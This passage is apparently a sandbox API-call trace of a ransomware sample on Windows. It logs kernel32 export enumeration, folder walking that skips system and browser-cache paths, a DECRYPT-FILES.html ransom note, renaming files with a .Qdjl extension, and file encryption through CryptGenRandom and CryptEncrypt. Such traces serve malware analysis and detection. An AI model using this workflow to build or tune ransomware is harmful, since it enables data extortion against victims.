23 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0129.953] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0129.953] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0129.953] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0129.953] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0129.953] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0129.953] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0129.953] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0129.953] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0129.953] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0129.953] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0129.953] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0129.953] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0129.953] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0129.953] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0129.954] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0129.954] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0129.954] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0129.954] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0129.954] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0129.954] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0129.954] lstrlenA (lpString="CREATETHREAD") returned 12 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0129.954] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0129.954] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0129.954] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0129.954] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0129.954] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0129.954] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0129.954] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0129.954] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0129.955] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.Qdjl") returned 50 [0129.955] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.Qdjl" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.qdjl"), dwFlags=0x0) returned 1 [0129.955] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.955] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.956] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.956] FindNextFileW (in: hFindFile=0x3b81380, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0129.956] FindClose (in: hFindFile=0x3b81380 | out: hFindFile=0x3b81380) returned 1 [0129.956] CloseHandle (hObject=0x528) returned 1 [0129.956] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1044", cAlternateFileName="")) returned 1 [0129.956] lstrcmpW (lpString1="1044", lpString2=".") returned 1 [0129.956] lstrcmpW (lpString1="1044", lpString2="..") returned 1 [0129.956] lstrcatW (in: lpString1="1044", lpString2="\\" | out: lpString1="1044\\") returned="1044\\" [0129.956] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1044\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0129.956] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch=":\\Windows") returned 0x0 [0129.956] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\Program Files") returned 0x0 [0129.956] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\Games\\") returned 0x0 [0129.956] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\Tor Browser\\") returned 0x0 [0129.956] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\ProgramData\\") returned 0x0 [0129.957] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0129.957] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0129.957] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0129.957] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1044\\", lpSrch="\\All Users") returned 0x0 [0129.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0129.957] lstrlenW (lpString="eogwkz.dat") returned 10 [0129.957] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\\\eogwkz.dat") returned 38 [0129.957] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1044\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0129.957] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0129.957] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0129.957] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\\\DECRYPT-FILES.html") returned 46 [0129.957] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1044\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0130.083] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0130.084] CloseHandle (hObject=0x470) returned 1 [0130.084] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0130.084] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1044\\*") returned="C:\\588bce7c90097ed212\\1044\\*" [0130.084] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x53ca45cd, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81280 [0130.084] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0130.084] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x53ca45cd, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0130.084] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0130.084] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0130.084] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b732fc, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x53b732fc, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x53ca45cd, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0130.084] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0130.084] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53b732fc, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x53b732fc, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x53b732fc, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0130.084] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0130.085] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0130.085] lstrlenW (lpString="eogwkz.dat") returned 10 [0130.085] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1044\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0130.085] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1044\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1044\\eogwkz.dat" [0130.085] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.085] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1044\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.085] CloseHandle (hObject=0x0) returned 0 [0130.085] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.085] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0130.085] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0130.085] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0130.085] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0130.085] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0130.085] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0130.086] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0130.086] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0130.086] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0130.086] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0130.086] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0130.086] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\") returned 27 [0130.086] lstrlenW (lpString="eula.rtf") returned 8 [0130.086] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1044\\" | out: lpString1="C:\\588bce7c90097ed212\\1044\\") returned="C:\\588bce7c90097ed212\\1044\\" [0130.086] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1044\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned="C:\\588bce7c90097ed212\\1044\\eula.rtf" [0130.086] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.086] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0130.086] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3046) returned 1 [0130.086] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0130.086] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0130.399] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0130.399] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0130.400] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.400] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0130.400] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0130.401] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.401] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0130.401] CloseHandle (hObject=0x5f8) returned 1 [0130.401] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.401] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0130.402] CloseHandle (hObject=0x0) returned 0 [0130.402] CloseHandle (hObject=0x5f4) returned 1 [0130.404] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.404] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.404] GetTickCount () returned 0x35f86 [0130.404] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.405] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0130.405] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0130.405] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.405] lstrlenA (lpString="kernel32.dll") returned 12 [0130.406] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0130.406] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0130.406] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0130.406] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0130.406] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0130.406] lstrlenA (lpString="ADDATOMA") returned 8 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0130.406] lstrlenA (lpString="ADDATOMW") returned 8 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0130.406] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0130.406] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0130.406] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0130.406] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0130.406] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0130.406] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0130.406] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0130.406] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0130.407] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0130.407] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0130.407] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0130.407] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0130.407] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0130.407] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0130.407] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0130.407] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0130.407] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0130.407] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0130.407] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0130.407] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0130.407] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0130.407] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0130.407] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") 